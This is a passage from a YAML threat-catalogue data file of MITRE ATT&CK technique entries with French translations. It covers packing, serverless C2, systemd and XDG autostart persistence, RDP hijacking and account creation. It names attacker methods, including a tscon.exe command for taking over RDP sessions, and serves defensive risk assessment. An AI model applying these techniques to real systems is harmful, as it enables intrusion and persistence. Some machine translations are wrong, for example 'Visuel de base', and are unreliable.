          \ pour s\u2019authentifier. Il est courant que des codes \xE0 usage unique\
          \ soient envoy\xE9s via des communications hors bande (e-mail, SMS). Si\
          \ l\u2019appareil et/ou le service n\u2019est pas s\xE9curis\xE9, il peut\
          \ \xEAtre vuln\xE9rable \xE0 l\u2019interception. Les fournisseurs de services\
          \ peuvent \xE9galement \xEAtre cibl\xE9s : par exemple, un adversaire peut\
          \ compromettre un service de messagerie SMS afin de voler des codes MFA\
          \ envoy\xE9s sur les t\xE9l\xE9phones des utilisateurs. (Citation : Okta\
          \ Scatter Swine 2022)\nhttps://attack.mitre.org/techniques/T1111"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.002
    ref_id: T1027.002
    name: Software Packing
    description: "Adversaries may perform software packing or virtual machine software\
      \ protection to conceal their code. Software packing is a method of compressing\
      \ or encrypting an executable. Packing an executable changes the file signature\
      \ in an attempt to avoid signature-based detection. Most decompression techniques\
      \ decompress the executable code in memory. Virtual machine software protection\
      \ translates an executable's original code into a special format that only a\
      \ special virtual machine can run. A virtual machine is then called to run this\
      \ code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software\
      \ packing are called packers. Example packers are MPRESS and UPX. A more comprehensive\
      \ list of known packers is available, but adversaries may create their own packing\
      \ techniques that do not leave the same artifacts as well-known packers to evade\
      \ defenses.(Citation: Awesome Executable Packing)\nhttps://attack.mitre.org/techniques/T1027/002"
    translations:
      fr:
        name: Emballage de logiciels
        description: "Les adversaires peuvent effectuer l\u2019empaquetage de logiciels\
          \ ou la protection logicielle de machines virtuelles pour dissimuler leur\
          \ code. L\u2019empaquetage de logiciels est une m\xE9thode de compression\
          \ ou de cryptage d\u2019un ex\xE9cutable. L\u2019empaquetage d\u2019un ex\xE9\
          cutable modifie la signature du fichier afin d\u2019\xE9viter la d\xE9tection\
          \ bas\xE9e sur la signature. La plupart des techniques de d\xE9compression\
          \ d\xE9compressent le code ex\xE9cutable en m\xE9moire. La protection logicielle\
          \ des machines virtuelles traduit le code d\u2019origine d\u2019un ex\xE9\
          cutable dans un format sp\xE9cial que seule une machine virtuelle sp\xE9\
          ciale peut ex\xE9cuter. Une machine virtuelle est ensuite appel\xE9e pour\
          \ ex\xE9cuter ce code. (Citation : ESET FinFisher janvier 2018) \n\nLes\
          \ utilitaires utilis\xE9s pour effectuer l\u2019empaquetage de logiciels\
          \ sont appel\xE9s packers. Des exemples d\u2019emballeuses sont MPRESS et\
          \ UPX. Une liste plus compl\xE8te des empaqueteurs connus est disponible,\
          \ mais les adversaires peuvent cr\xE9er leurs propres techniques d\u2019\
          empaquetage qui ne laissent pas les m\xEAmes artefacts que les empaqueteurs\
          \ bien connus pour \xE9chapper aux d\xE9fenses. (Citation\_: Emballage ex\xE9\
          cutable impressionnant)\nhttps://attack.mitre.org/techniques/T1027/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1584.007
    ref_id: T1584.007
    name: Serverless
    description: "Adversaries may compromise serverless cloud infrastructure, such\
      \ as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that\
      \ can be used during targeting. By utilizing serverless infrastructure, adversaries\
      \ can make it more difficult to attribute infrastructure used during operations\
      \ back to them. \n\nOnce compromised, the serverless runtime environment can\
      \ be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090)\
      \ traffic to an adversary-owned command and control server.(Citation: BlackWater\
      \ Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS\
      \ Apps Script Abuse 2021) As traffic generated by these functions will appear\
      \ to come from subdomains of common cloud providers, it may be difficult to\
      \ distinguish from ordinary traffic to these providers - making it easier to\
      \ [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation:\
      \ Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare\
      \ Workers)\nhttps://attack.mitre.org/techniques/T1584/007"
    translations:
      fr:
        name: Sans serveur
        description: "Les adversaires peuvent compromettre l\u2019infrastructure cloud\
          \ sans serveur, telle que Cloudflare Workers, les fonctions AWS Lambda ou\
          \ les scripts Google Apps, qui peuvent \xEAtre utilis\xE9s lors du ciblage.\
          \ En utilisant une infrastructure sans serveur, les adversaires peuvent\
          \ rendre plus difficile l\u2019attribution de l\u2019infrastructure utilis\xE9\
          e pendant les op\xE9rations. \n\nUne fois compromis, l\u2019environnement\
          \ d\u2019ex\xE9cution sans serveur peut \xEAtre exploit\xE9 pour r\xE9pondre\
          \ directement aux machines infect\xE9es ou au trafic [Proxy](https://attack.mitre.org/techniques/T1090)\
          \ vers un serveur de commande et de contr\xF4le appartenant \xE0 l\u2019\
          adversaire. (Citation : BlackWater Malware Cloudflare Workers)(R\xE9f\xE9\
          rence : redirecteur AWS Lambda)(Citation : GWS Apps Script Abuse 2021) \xC9\
          tant donn\xE9 que le trafic g\xE9n\xE9r\xE9 par ces fonctions semblera provenir\
          \ de sous-domaines de fournisseurs de cloud courants, il peut \xEAtre difficile\
          \ de distinguer le trafic ordinaire destin\xE9 \xE0 ces fournisseurs, ce\
          \ qui facilite l\u2019utilisation de [Masquer l\u2019infrastructure](https://attack.mitre.org/techniques/T1665).\
          \ (Citation : D\xE9tection de la commande et du contr\xF4le dans le cloud)(Citation\
          \ : BlackWater Malware Cloudflare Workers)\nhttps://attack.mitre.org/techniques/T1584/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1071.001
    ref_id: T1071.001
    name: Web Protocols
    description: "Adversaries may communicate using application layer protocols associated\
      \ with web traffic to avoid detection/network filtering by blending in with\
      \ existing traffic. Commands to the remote system, and often the results of\
      \ those commands, will be embedded within the protocol traffic between the client\
      \ and server. \n\nProtocols such as HTTP/S(Citation: CrowdStrike Putter Panda)\
      \ and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be\
      \ very common in environments. HTTP/S packets have many fields and headers in\
      \ which data can be concealed. An adversary may abuse these protocols to communicate\
      \ with systems under their control within a victim network while also mimicking\
      \ normal, expected traffic.\nhttps://attack.mitre.org/techniques/T1071/001"
    translations:
      fr:
        name: Protocoles Web
        description: "Les adversaires peuvent communiquer \xE0 l\u2019aide de protocoles\
          \ de couche application associ\xE9s au trafic Web pour \xE9viter la d\xE9\
          tection/le filtrage du r\xE9seau en se fondant dans le trafic existant.\
          \ Les commandes adress\xE9es au syst\xE8me distant, et souvent les r\xE9\
          sultats de ces commandes, seront incorpor\xE9s dans le trafic de protocole\
          \ entre le client et le serveur. \n\nLes protocoles tels que HTTP/S (Citation\
          \ : CrowdStrike Putter Panda) et WebSocket (Citation : Brazking-Websockets)\
          \ qui transportent le trafic Web peuvent \xEAtre tr\xE8s courants dans les\
          \ environnements. Les paquets HTTP/S comportent de nombreux champs et en-t\xEA\
          tes dans lesquels les donn\xE9es peuvent \xEAtre dissimul\xE9es. Un adversaire\
          \ peut abuser de ces protocoles pour communiquer avec les syst\xE8mes sous\
          \ son contr\xF4le au sein d\u2019un r\xE9seau victime tout en imitant le\
          \ trafic normal et attendu.\nhttps://attack.mitre.org/techniques/T1071/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.005
    ref_id: T1059.005
    name: Visual Basic
    description: 'Adversaries may abuse Visual Basic (VB) for execution. VB is a programming
      language created by Microsoft with interoperability with many Windows technologies
      such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001)
      and the [Native API](https://attack.mitre.org/techniques/T1106) through the
      Windows API. Although tagged as legacy with no planned future evolutions, VB
      is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation:
      VB .NET Mar 2020)(Citation: VB Microsoft)


      Derivative languages based on VB have also been created, such as Visual Basic
      for Applications (VBA) and VBScript. VBA is an event-driven programming language
      built into Microsoft Office, as well as several third-party applications.(Citation:
      Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros
      used to automate the execution of tasks and other functionality on the host.
      VBScript is a default scripting language on Windows hosts and can also be used
      in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML
      Application (HTA) webpages served to Internet Explorer (though most modern browsers
      do not come with VBScript support).(Citation: Microsoft VBScript)


      Adversaries may use VB payloads to execute malicious commands. Common malicious
      usage includes automating execution of behaviors with VBScript or embedding
      VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)
      payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005)
      to enable execution).(Citation: Default VBS macros Blocking )

      https://attack.mitre.org/techniques/T1059/005'
    translations:
      fr:
        name: Visuel de base
        description: "Les adversaires peuvent abuser de Visual Basic (VB) pour l\u2019\
          ex\xE9cution. VB est un langage de programmation cr\xE9\xE9 par Microsoft\
          \ avec une interop\xE9rabilit\xE9 avec de nombreuses technologies Windows\
          \ telles que [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\
          \ et l'[API native](https://attack.mitre.org/techniques/T1106) via l\u2019\
          API Windows. Bien qu\u2019il soit \xE9tiquet\xE9 comme h\xE9rit\xE9 sans\
          \ \xE9volutions futures pr\xE9vues, VB est int\xE9gr\xE9 et pris en charge\
          \ dans le .NET Framework et le .NET Core multiplateforme. (Citation : VB\
          \ .NET mars 2020)(Citation : VB Microsoft)\n\nDes langages d\xE9riv\xE9\
          s bas\xE9s sur VB ont \xE9galement \xE9t\xE9 cr\xE9\xE9s, tels que Visual\
          \ Basic for Applications (VBA) et VBScript. VBA est un langage de programmation\
          \ pilot\xE9 par les \xE9v\xE9nements int\xE9gr\xE9 \xE0 Microsoft Office,\
          \ ainsi qu\u2019\xE0 plusieurs applications tierces. (Citation : Microsoft\
          \ VBA)(Citation : Wikip\xE9dia VBA) VBA permet aux documents de contenir\
          \ des macros utilis\xE9es pour automatiser l\u2019ex\xE9cution de t\xE2\
          ches et d\u2019autres fonctionnalit\xE9s sur l\u2019h\xF4te. VBScript est\
          \ un langage de script par d\xE9faut sur les h\xF4tes Windows et peut \xE9\
          galement \xEAtre utilis\xE9 \xE0 la place de [JavaScript](https://attack.mitre.org/techniques/T1059/007)\
          \ sur les pages Web d\u2019application HTML (HTA) servies \xE0 Internet\
          \ Explorer (bien que la plupart des navigateurs modernes ne prennent pas\
          \ en charge VBScript). (Citation : Microsoft VBScript)\n\nLes adversaires\
          \ peuvent utiliser des charges utiles VB pour ex\xE9cuter des commandes\
          \ malveillantes. L\u2019utilisation malveillante courante comprend l\u2019\
          automatisation de l\u2019ex\xE9cution de comportements avec VBScript ou\
          \ l\u2019incorporation de contenu VBA dans des charges utiles [Pi\xE8ce\
          \ jointe de phishing](https://attack.mitre.org/techniques/T1566/001) (qui\
          \ peut \xE9galement impliquer [Contournement de la marque du Web](https://attack.mitre.org/techniques/T1553/005)\
          \ pour permettre l\u2019ex\xE9cution). (Citation\_: Blocage par d\xE9faut\
          \ des macros VBS )\nhttps://attack.mitre.org/techniques/T1059/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.005
    ref_id: T1564.005
    name: Hidden File System
    description: 'Adversaries may use a hidden file system to conceal malicious activity
      from users and security tools. File systems provide a structure to store and
      access data from physical storage. Typically, a user engages with a file system
      through applications that allow them to access files and directories, which
      are an abstraction from their physical location (ex: disk sector). Standard
      file systems include FAT, NTFS, ext4, and APFS. File systems can also contain
      other structures, such as the Volume Boot Record (VBR) and Master File Table
      (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)


      Adversaries may use their own abstracted file system, separate from the standard
      file system present on the infected system. In doing so, adversaries can hide
      the presence of malicious components and file input/output from security tools.
      Hidden file systems, sometimes referred to as virtual file systems, can be implemented
      in numerous ways. One implementation would be to store a file system in reserved
      disk space unused by disk structures or standard file system partitions.(Citation:
      MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation
      could be for an adversary to drop their own portable partition image as a file
      on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries
      may also fragment files across the existing file system structure in non-standard
      ways.(Citation: Kaspersky Equation QA)

      https://attack.mitre.org/techniques/T1564/005'
    translations:
      fr:
        name: "Syst\xE8me de fichiers cach\xE9"
        description: "Les adversaires peuvent utiliser un syst\xE8me de fichiers cach\xE9\
          \ pour dissimuler des activit\xE9s malveillantes aux utilisateurs et aux\
          \ outils de s\xE9curit\xE9. Les syst\xE8mes de fichiers fournissent une\
          \ structure pour stocker et acc\xE9der aux donn\xE9es \xE0 partir d\u2019\
          un stockage physique. En r\xE8gle g\xE9n\xE9rale, un utilisateur interagit\
          \ avec un syst\xE8me de fichiers par le biais d\u2019applications qui lui\
          \ permettent d\u2019acc\xE9der \xE0 des fichiers et des r\xE9pertoires,\
          \ qui sont une abstraction de son emplacement physique (par exemple, le\
          \ secteur du disque). Les syst\xE8mes de fichiers standard incluent FAT,\
          \ NTFS, ext4 et APFS. Les syst\xE8mes de fichiers peuvent \xE9galement contenir\
          \ d\u2019autres structures, telles que l\u2019enregistrement d\u2019amor\xE7\
          age de volume (VBR) et la table de fichiers ma\xEEtres (MFT) dans NTFS.\
          \ (Citation : MalwareTech VFS novembre 2014)\n\nLes adversaires peuvent\
          \ utiliser leur propre syst\xE8me de fichiers abstrait, distinct du syst\xE8\
          me de fichiers standard pr\xE9sent sur le syst\xE8me infect\xE9. Ce faisant,\
          \ les adversaires peuvent masquer la pr\xE9sence de composants malveillants\
          \ et les entr\xE9es/sorties de fichiers des outils de s\xE9curit\xE9. Les\
          \ syst\xE8mes de fichiers cach\xE9s, parfois appel\xE9s syst\xE8mes de fichiers\
          \ virtuels, peuvent \xEAtre mis en \u0153uvre de nombreuses fa\xE7ons. Une\
          \ impl\xE9mentation serait de stocker un syst\xE8me de fichiers dans un\
          \ espace disque r\xE9serv\xE9 inutilis\xE9 par les structures de disque\
          \ ou les partitions de syst\xE8me de fichiers standard. (Citation : MalwareTech\
          \ VFS novembre 2014)(Citation : FireEye Bootkits) Une autre impl\xE9mentation\
          \ pourrait consister pour un adversaire \xE0 d\xE9poser sa propre image\
          \ de partition portable sous forme de fichier au-dessus du syst\xE8me de\
          \ fichiers standard. (Citation : ESET ComRAT, mai 2020) Les adversaires\
          \ peuvent \xE9galement fragmenter les fichiers dans la structure du syst\xE8\
          me de fichiers existant de mani\xE8re non standard. (Citation : Kaspersky\
          \ Equation QA)\nhttps://attack.mitre.org/techniques/T1564/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1543.002
    ref_id: T1543.002
    name: Systemd Service
    description: "Adversaries may create or modify systemd services to repeatedly\
      \ execute malicious payloads as part of persistence. Systemd is a system and\
      \ service manager commonly used for managing background daemon processes (also\
      \ known as services) and other system resources.(Citation: Linux man-pages:\
      \ systemd January 2014) Systemd is the default initialization (init) system\
      \ on many Linux distributions replacing legacy init systems, including SysVinit\
      \ and Upstart, while remaining backwards compatible.  \n\nSystemd utilizes unit\
      \ configuration files with the `.service` file extension to encode information\
      \ about a service's process. By default, system level unit files are stored\
      \ in the `/systemd/system` directory of the root owned directories (`/`). User\
      \ level unit files are stored in the `/systemd/user` directories of the user\
      \ owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the\
      \ `.service` unit files, the following directives are used to execute commands:(Citation:\
      \ freedesktop systemd.service)  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost`\
      \ directives execute when a service is started manually by `systemctl` or on\
      \ system start if the service is set to automatically start.\n* `ExecReload`\
      \ directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`,\
      \ and `ExecStopPost` directives execute when a service is stopped.  \n\nAdversaries\
      \ have created new service files, altered the commands a `.service` file\u2019\
      s directive executes, and modified the user directive a `.service` file executes\
      \ as, which could result in privilege escalation. Adversaries may also place\
      \ symbolic links in these directories, enabling systemd to find these payloads\
      \ regardless of where they reside on the filesystem.(Citation: Anomali Rocke\
      \ March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service\
      \ Persistence 22JUNE2016) \n\nThe .service file\u2019s User directive can be\
      \ used to run service as a specific user, which could result in privilege escalation\
      \ based on specific user/group permissions.\nhttps://attack.mitre.org/techniques/T1543/002"
    translations:
      fr:
        name: Systemd Service
        description: "Les adversaires peuvent cr\xE9er ou modifier des services systemd\
          \ pour ex\xE9cuter \xE0 plusieurs reprises des charges utiles malveillantes\
          \ dans le cadre de la persistance. Systemd est un gestionnaire de syst\xE8\
          mes et de services couramment utilis\xE9 pour g\xE9rer les processus de\
          \ d\xE9mon d\u2019arri\xE8re-plan (\xE9galement appel\xE9s services) et\
          \ d\u2019autres ressources syst\xE8me. (Citation : Linux man-pages : systemd\
          \ janvier 2014) Systemd est le syst\xE8me d\u2019initialisation par d\xE9\
          faut (init) sur de nombreuses distributions Linux rempla\xE7ant les anciens\
          \ syst\xE8mes d\u2019initialisation, y compris SysVinit et Upstart, tout\
          \ en restant r\xE9trocompatible.  \n\nSystemd utilise des fichiers de configuration\
          \ d\u2019unit\xE9 avec l\u2019extension de fichier '.service' pour coder\
          \ des informations sur le processus d\u2019un service. Par d\xE9faut, les\
          \ fichiers d\u2019unit\xE9 de niveau syst\xE8me sont stock\xE9s dans le\
          \ r\xE9pertoire '/systemd/system' des r\xE9pertoires appartenant \xE0 la\
          \ racine ('/'). Les fichiers d\u2019unit\xE9 de niveau utilisateur sont\
          \ stock\xE9s dans les r\xE9pertoires '/systemd/user' des r\xE9pertoires\
          \ appartenant \xE0 l\u2019utilisateur ('$HOME'). (Citation : lambert systemd\
          \ 2022) \n\n\xC0 l\u2019int\xE9rieur des fichiers unitaires '.service',\
          \ les directives suivantes sont utilis\xE9es pour ex\xE9cuter les commandes\
          \ :(Citation : freedesktop systemd.service)  \n\n* Les directives 'ExecStart',\
          \ 'ExecStartPre' et 'ExecStartPost' s\u2019ex\xE9cutent lorsqu\u2019un service\
          \ est d\xE9marr\xE9 manuellement par 'systemctl' ou au d\xE9marrage du syst\xE8\
          me si le service est configur\xE9 pour d\xE9marrer automatiquement.\n* La\
          \ directive 'ExecReload' s\u2019ex\xE9cute lorsqu\u2019un service red\xE9\
          marre. \n* Les directives 'ExecStop', 'ExecStopPre' et 'ExecStopPost' s\u2019\
          ex\xE9cutent lorsqu\u2019un service est arr\xEAt\xE9.  \n\nLes adversaires\
          \ ont cr\xE9\xE9 de nouveaux fichiers de service, modifi\xE9 les commandes\
          \ ex\xE9cut\xE9es par la directive d\u2019un fichier '.service' et modifi\xE9\
          \ la directive utilisateur ex\xE9cut\xE9e par un fichier '.service', ce\
          \ qui peut entra\xEEner une \xE9l\xE9vation de privil\xE8ges. Les adversaires\
          \ peuvent \xE9galement placer des liens symboliques dans ces r\xE9pertoires,\
          \ ce qui permet \xE0 systemd de trouver ces charges utiles quel que soit\
          \ l\u2019endroit o\xF9 elles se trouvent sur le syst\xE8me de fichiers.\
          \ (Citation : Anomali Rocke, mars 2019)(Citation : syst\xE8mes unix de porte\
          \ d\xE9rob\xE9e airwalk)(Citation : Rapid7 Service Persistence 22JUNE2016)\
          \ \n\nLa directive User du fichier .service peut \xEAtre utilis\xE9e pour\
          \ ex\xE9cuter le service en tant qu\u2019utilisateur sp\xE9cifique, ce qui\
          \ peut entra\xEEner une \xE9l\xE9vation de privil\xE8ges bas\xE9e sur des\
          \ autorisations d\u2019utilisateur/de groupe sp\xE9cifiques.\nhttps://attack.mitre.org/techniques/T1543/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1563.002
    ref_id: T1563.002
    name: RDP Hijacking
    description: "Adversaries may hijack a legitimate user\u2019s remote desktop session\
      \ to move laterally within an environment. Remote desktop is a common feature\
      \ in operating systems. It allows a user to log into an interactive session\
      \ with a system desktop graphical user interface on a remote system. Microsoft\
      \ refers to its implementation of the Remote Desktop Protocol (RDP) as Remote\
      \ Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries\
      \ may perform RDP session hijacking which involves stealing a legitimate user's\
      \ remote session. Typically, a user is notified when someone else is trying\
      \ to steal their session. With System permissions and using Terminal Services\
      \ Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`,\
      \ an adversary can hijack a session without the need for credentials or prompts\
      \ to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely\
      \ or locally and with active or disconnected sessions.(Citation: RDP Hijacking\
      \ Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018)\
      \ and Privilege Escalation by stealing a Domain Admin or higher privileged account\
      \ session. All of this can be done by using native Windows commands, but it\
      \ has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)\n\
      https://attack.mitre.org/techniques/T1563/002"
    translations:
      fr:
        name: "D\xE9tournement de RDP"
        description: "Les adversaires peuvent d\xE9tourner la session de bureau \xE0\
          \ distance d\u2019un utilisateur l\xE9gitime pour se d\xE9placer lat\xE9\
          ralement dans un environnement. Le bureau \xE0 distance est une fonctionnalit\xE9\
          \ courante dans les syst\xE8mes d\u2019exploitation. Il permet \xE0 un utilisateur\
          \ de se connecter \xE0 une session interactive avec une interface utilisateur\
          \ graphique de bureau sur un syst\xE8me distant. Microsoft fait r\xE9f\xE9\
          rence \xE0 son impl\xE9mentation du protocole RDP (Remote Desktop Protocol)\
          \ en tant que Remote Desktop Services (RDS). (Citation : Services de bureau\
          \ \xE0 distance TechNet)\n\nLes adversaires peuvent effectuer un d\xE9tournement\
          \ de session RDP, qui consiste \xE0 voler la session \xE0 distance d\u2019\
          un utilisateur l\xE9gitime. En r\xE8gle g\xE9n\xE9rale, un utilisateur est\
          \ averti lorsque quelqu\u2019un d\u2019autre tente de voler sa session.\
          \ Avec les autorisations syst\xE8me et \xE0 l\u2019aide de la console des\
          \ services Terminal Server, 'c\_:\\windows\\system32\\tscon.exe [num\xE9\
          ro de session \xE0 voler]', un adversaire peut d\xE9tourner une session\
          \ sans avoir besoin d\u2019informations d\u2019identification ou d\u2019\
          invites \xE0 l\u2019utilisateur. (Citation : RDP d\xE9tournant Korznikov)\
          \ Cela peut se faire \xE0 distance ou localement et avec des sessions actives\
          \ ou d\xE9connect\xE9es. (Citation : Support de d\xE9tournement RDP) Cela\
          \ peut \xE9galement conduire \xE0 la [D\xE9couverte du syst\xE8me \xE0 distance](https://attack.mitre.org/techniques/T1018)\
          \ et \xE0 l\u2019\xE9l\xE9vation des privil\xE8ges en volant une session\
          \ de compte privil\xE9gi\xE9 d\u2019un administrateur de domaine ou d\u2019\
          un niveau sup\xE9rieur. Tout cela peut \xEAtre fait en utilisant des commandes\
          \ Windows natives, mais il a \xE9galement \xE9t\xE9 ajout\xE9 en tant que\
          \ fonctionnalit\xE9 dans les outils d\u2019\xE9quipe rouge. (Citation :\
          \ Kali Redsnarf)\nhttps://attack.mitre.org/techniques/T1563/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1136
    ref_id: T1136
    name: Create Account
    description: 'Adversaries may create an account to maintain access to victim systems.(Citation:
      Symantec WastedLocker June 2020) With a sufficient level of access, creating
      such accounts may be used to establish secondary credentialed access that do
      not require persistent remote access tools to be deployed on the system.


      Accounts may be created on the local system or within a domain or cloud tenant.
      In cloud environments, adversaries may create accounts that only have access
      to specific services, which can reduce the chance of detection.

      https://attack.mitre.org/techniques/T1136'
    translations:
      fr:
        name: "Cr\xE9er un compte"
        description: "Les adversaires peuvent cr\xE9er un compte pour conserver l\u2019\
          acc\xE8s aux syst\xE8mes des victimes. (Citation : Symantec WastedLocker\
          \ juin 2020) Avec un niveau d\u2019acc\xE8s suffisant, la cr\xE9ation de\
          \ tels comptes peut \xEAtre utilis\xE9e pour \xE9tablir un acc\xE8s secondaire\
          \ accr\xE9dit\xE9 qui ne n\xE9cessite pas le d\xE9ploiement d\u2019outils\
          \ d\u2019acc\xE8s \xE0 distance persistants sur le syst\xE8me.\n\nLes comptes\
          \ peuvent \xEAtre cr\xE9\xE9s sur le syst\xE8me local ou au sein d\u2019\
          un domaine ou d\u2019un locataire cloud. Dans les environnements cloud,\
          \ les adversaires peuvent cr\xE9er des comptes qui n\u2019ont acc\xE8s qu\u2019\
          \xE0 des services sp\xE9cifiques, ce qui peut r\xE9duire les risques de\
          \ d\xE9tection.\nhttps://attack.mitre.org/techniques/T1136"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.013
    ref_id: T1547.013
    name: XDG Autostart Entries
    description: "Adversaries may add or modify XDG Autostart Entries to execute malicious\
      \ programs or commands when a user\u2019s desktop environment is loaded at login.\
      \ XDG Autostart entries are available for any XDG-compliant Linux system. XDG\
      \ Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019\
      s desktop environment upon user login. These configuration files determine what\
      \ applications launch upon user login, define associated applications to open\
      \ specific file types, and define applications used to open removable media.(Citation:\
      \ Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry\
      \ Keys)\n\nAdversaries may abuse this feature to establish persistence by adding\
      \ a path to a malicious binary or command to the `Exec` directive in the `.desktop`\
      \ configuration file. When the user\u2019s desktop environment is loaded at\
      \ user login, the `.desktop` files located in the XDG Autostart directories\
      \ are automatically executed. System-wide Autostart entries are located in the\
      \ `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart`\
      \ directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036)\
      \ to blend malicious Autostart entries with legitimate programs.(Citation: Red\
      \ Canary Netwire Linux 2022)\nhttps://attack.mitre.org/techniques/T1547/013"
    translations:
      fr:
        name: "Entr\xE9es XDG Autostart"
        description: "Les adversaires peuvent ajouter ou modifier des entr\xE9es XDG\
          \ Autostart pour ex\xE9cuter des programmes ou des commandes malveillants\
          \ lorsque l\u2019environnement de bureau d\u2019un utilisateur est charg\xE9\
          \ lors de la connexion. Les entr\xE9es XDG Autostart sont disponibles pour\
          \ tout syst\xE8me Linux compatible XDG. Les entr\xE9es XDG Autostart utilisent\
          \ des fichiers d\u2019entr\xE9e de bureau (\xAB .desktop \xBB) pour configurer\
          \ l\u2019environnement de bureau de l\u2019utilisateur lors de la connexion\
          \ de l\u2019utilisateur. Ces fichiers de configuration d\xE9terminent les\
          \ applications qui se lancent lors de la connexion de l\u2019utilisateur,\
          \ d\xE9finissent les applications associ\xE9es pour ouvrir des types de\
          \ fichiers sp\xE9cifiques et d\xE9finissent les applications utilis\xE9\
          es pour ouvrir les supports amovibles. (Citation\_: Free Desktop Application\
          \ Autostart f\xE9vrier 2006)(Citation\_: Cl\xE9s d\u2019entr\xE9e de bureau\
          \ gratuites)\n\nLes adversaires peuvent abuser de cette fonctionnalit\xE9\
          \ pour \xE9tablir la persistance en ajoutant un chemin d\u2019acc\xE8s \xE0\
          \ un binaire malveillant ou une commande \xE0 la directive \xAB Exec \xBB\
          \ dans le fichier de configuration \xAB .desktop \xBB. Lorsque l\u2019environnement\
          \ de bureau de l\u2019utilisateur est charg\xE9 lors de la connexion de\
          \ l\u2019utilisateur, les fichiers \xAB .desktop \xBB situ\xE9s dans les\
          \ r\xE9pertoires XDG Autostart sont automatiquement ex\xE9cut\xE9s. Les\
          \ entr\xE9es Autostart \xE0 l\u2019\xE9chelle du syst\xE8me se trouvent\
          \ dans le r\xE9pertoire '/etc/xdg/autostart' tandis que les entr\xE9es utilisateur\
          \ se trouvent dans le r\xE9pertoire '~/.config/autostart'.\n\nLes adversaires\
          \ peuvent combiner cette technique avec le [Masquerading](https://attack.mitre.org/techniques/T1036)\
          \ pour m\xE9langer des entr\xE9es de d\xE9marrage automatique malveillantes\
          \ avec des programmes l\xE9gitimes. (Citation : Red Canary Netwire Linux\
          \ 2022)\nhttps://attack.mitre.org/techniques/T1547/013"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1584.004
    ref_id: T1584.004
    name: Server
    description: 'Adversaries may compromise third-party servers that can be used
      during targeting. Use of servers allows an adversary to stage, launch, and execute
      an operation. During post-compromise activity, adversaries may utilize servers
      for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca
      2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004)
      or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003),
      adversaries may compromise third-party servers in support of operations.


      Adversaries may also compromise web servers to support watering hole operations,
      as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email
      servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.

      https://attack.mitre.org/techniques/T1584/004'
    translations:
      fr:
        name: Serveur
        description: "Les adversaires peuvent compromettre des serveurs tiers qui\
          \ peuvent \xEAtre utilis\xE9s lors du ciblage. L\u2019utilisation de serveurs\
          \ permet \xE0 un adversaire de mettre en sc\xE8ne, de lancer et d\u2019\
          ex\xE9cuter une op\xE9ration. Au cours d\u2019une activit\xE9 post-compromission,\
          \ les adversaires peuvent utiliser des serveurs pour diverses t\xE2ches,\
          \ notamment pour la commande et le contr\xF4le. (Citation : TrendMicro EarthLusca\
          \ 2022) Au lieu d\u2019acheter un [serveur](https://attack.mitre.org/techniques/T1583/004)\
          \ ou un [serveur priv\xE9 virtuel](https://attack.mitre.org/techniques/T1583/003),\
          \ les adversaires peuvent compromettre des serveurs tiers \xE0 l\u2019appui\
          \ des op\xE9rations.\n\nLes adversaires peuvent \xE9galement compromettre\
          \ les serveurs Web pour prendre en charge les op\xE9rations de point d\u2019\
          eau, comme dans [Drive-by Compromise](https://attack.mitre.org/techniques/T1189),\
          \ ou les serveurs de messagerie pour prendre en charge les op\xE9rations\
          \ [Phishing](https://attack.mitre.org/techniques/T1566).\nhttps://attack.mitre.org/techniques/T1584/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1526
    ref_id: T1526
    name: Cloud Service Discovery
    description: 'An adversary may attempt to enumerate the cloud services running
      on a system after gaining access. These methods can differ from platform-as-a-service
      (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS).
      Many services exist throughout the various cloud providers and can include Continuous
      Integration and Continuous Delivery (CI/CD), Lambda Functions, Entra ID, etc.
      They may also include security services, such as AWS GuardDuty and Microsoft
